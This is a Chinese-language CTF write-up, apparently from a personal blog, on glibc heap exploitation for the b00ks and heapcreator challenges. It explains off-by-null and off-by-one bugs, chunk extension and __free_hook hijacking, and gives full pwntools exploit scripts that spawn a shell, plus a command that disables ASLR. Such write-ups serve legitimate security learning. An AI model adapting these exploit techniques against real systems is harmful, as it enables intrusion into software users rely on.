b00ks 题目地址:b00ks
知识点 ASLR 关闭ASLR保护
1 echo 0 > /proc/sys/kernel/randomize_va_space
brk与mmap 堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。 我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。
hook函数 在2.34及以上的版本中删除了malloc_hook、freehook等钩子函数,虽然在libc中我们仍然能够查询到标签,但是实际上已经不参与调用了,这就导致之前的对于堆的许多攻击手法都基本失效了。
分析 逆向 逆向出关键结构体
1 2 3 4 5 v2[6 ] = 0 ; *(description + v1) = v2; *(v2 + 2 ) = v4; *(v2 + 1 ) = ptr; *v2 = ++id;
漏洞 循环设置错误,最后多输入一个字节,存在off-by-null
1 2 3 4 5 6 7 8 9 10 11 for ( i = 0 ; ; ++i ){ if ( read(0 , name, 1uLL ) != 1 ) return 1LL ; if ( *name == '\n' ) break ; ++name; if ( i == size ) break ; } *name = 0 ;
利用 off-by-null覆盖struct1
的指针最后一字节为\x00
,提前在该地址布置fake_struct
,并伪造fake_struct
的name pointer
和description pointer
为struct2
中name pointer
和description pointer
的地址,计算libcbase偏移,劫持struct2
中description pointer
为free_hook
,one_gadget拿shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *context(log_level='debug' ,arch='amd64' ) p=process('./b00ks' ) libc=ELF('/home/tr0upe/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6' ) def creat (size,name,size1,description ): p.sendlineafter(b'> ' ,b'1' ) p.sendlineafter(b'Enter book name size:' ,size) p.sendlineafter(b'Enter book name (Max 32 chars):' ,name) p.sendlineafter(b'Enter book description size:' ,size1) p.sendlineafter(b'Enter book description:' ,description) def delete (index ): p.sendlineafter(b'> ' ,b'2' ) p.sendlineafter(b'Enter the book id you want to delete:' ,index) def edit (index,content ): p.sendlineafter(b'> ' ,b'3' ) p.sendlineafter(b'Enter the book id you want to edit: ' ,index) p.sendlineafter(b'Enter new book description: ' ,content) def printf (): p.sendlineafter(b'> ' ,b'4' ) def author (author_name ): p.sendlineafter(b'> ' ,b'5' ) p.sendlineafter(b'Enter author name: ' ,author_name) author1=b'a' *32 p.sendlineafter(b'Enter author name:' ,author1) creat(b'32' ,'bbbbb' ,b'256' ,'ccccc' ) creat(b'135168' ,'ddddd' ,b'135168' ,'a' ) printf() p.recvuntil('a' *32 ) struct1=u64(p.recv(6 ).ljust(8 ,b'\x00' )) print ('struct1 => ' +hex (struct1))struct2=struct1+0x30 print ('struct2 => ' +hex (struct2))name2_addr=struct2+0x8 print ('name2_addr => ' +hex (name2_addr))des2_addr=struct2+0x10 print ('des2_addr => ' +hex (des2_addr))fake_struct=b'c' *0xb0 +p64(1 )+p64(name2_addr)+p64(des2_addr)+p64(0xffff ) edit(b'1' ,fake_struct) author(b'a' *32 ) printf() p.recvuntil(b'Name: ' ) name2_ptr=u64(p.recv(6 ).ljust(8 ,b'\x00' )) print ('name2_ptr => ' +hex (name2_ptr))p.recvuntil(b'Description: ' ) des2_ptr=u64(p.recv(6 ).ljust(8 ,b'\x00' )) print ('des2_ptr => ' +hex (des2_ptr))libcbase=name2_ptr-0x5c7010 print (hex (libcbase))free_hook=libcbase+libc.symbols['__free_hook' ] exe=libcbase+libc.symbols['system' ] one_gadget=0x4525a +libcbase edit(b'1' ,p64(free_hook)) edit(b'2' ,p64(one_gadget)) delete(b'2' ) p.recv() p.interactive()
chunk_extend 基本示例 1:对 inuse 的 fastbin 进行 extend 1 2 3 4 5 6 7 8 9 10 11 12 13 int main (void ) { void *ptr,*ptr1; ptr=malloc (0x10 ); malloc (0x10 ); *(long long *)((long long )ptr-0x8 )=0x41 ; free (ptr); ptr1=malloc (0x30 ); return 0 ; }
heapcreator 题目地址:heapcreator
知识点 prev_size
:如果前一个区块是空闲的,则此字段包含前一个块的大小。否则,如果分配了前一个区块,则此字段包含前一个块的用户数据。
分析 1 2 *(v0 + 8 ) = malloc (size); **(&heaparray + i) = size;
漏洞 edit函数可以输入的size大1,存在off_by_one
1 read_input(*(*(&heaparray + v1) + 1 ), **(&heaparray + v1) + 1LL );
利用 修改size域,进行extend,就可以进行任意地址写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *context(log_level='debug' ,arch='amd64' ) p=process('./heapcreator' ) libc=ELF('/home/tr0upe/tools/glibc-all-in-one/libs/2.23-0ubuntu10_amd64/libc.so.6' ) ''' cmd='b *0x400A39\n' cmd+='b *0x400B2B\n' cmd+='b *0x400CFB\n' gdb.attach(p,cmd) pause() ''' def creat (size,content ): p.sendlineafter(b'Your choice :' ,b'1' ) p.sendlineafter(b'Size of Heap : ' ,size) p.sendafter(b'Content of heap:' ,content) def edit (index,new_content ): p.sendlineafter(b'Your choice :' ,b'2' ) p.sendlineafter(b'Index :' ,index) p.sendafter(b'Content of heap : ' ,new_content) def dele (index1 ): p.sendlineafter(b'Your choice :' ,b'4' ) p.sendlineafter(b'Index :' ,index1) def show (index ): p.sendlineafter(b'Your choice :' ,b'3' ) p.sendlineafter(b'Index :' ,index) libc_start_main_got=0x602048 creat(b'24' ,b'a' *24 ) creat(b'16' ,b'b' *16 ) edit(b'0' ,b'b' *24 +p8(0x41 )) dele(b'1' ) creat(b'48' ,b'd' *40 +p64(libc_start_main_got)) show(b'1' ) p.recvuntil(b'Content : ' ) libcbase=u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x20740 print ('libcbase => ' +hex (libcbase))free_hook=libcbase+libc.symbols['__free_hook' ] exe=libcbase+0x4526a print ('free_hook => ' +hex (free_hook))print ('exe => ' +hex (exe))creat(b'24' ,b'a' *24 ) creat(b'16' ,b'b' *16 ) ''' cmd='b *0x400A39\n' cmd+='b *0x400B2B\n' cmd+='b *0x400CFB\n' gdb.attach(p,cmd) pause() ''' edit(b'2' ,b'b' *24 +p8(0x41 )) dele(b'3' ) creat(b'48' ,b'd' *32 +p64(0x30 )+p64(free_hook)) edit(b'3' ,p64(exe)) dele(b'2' ) p.interactive()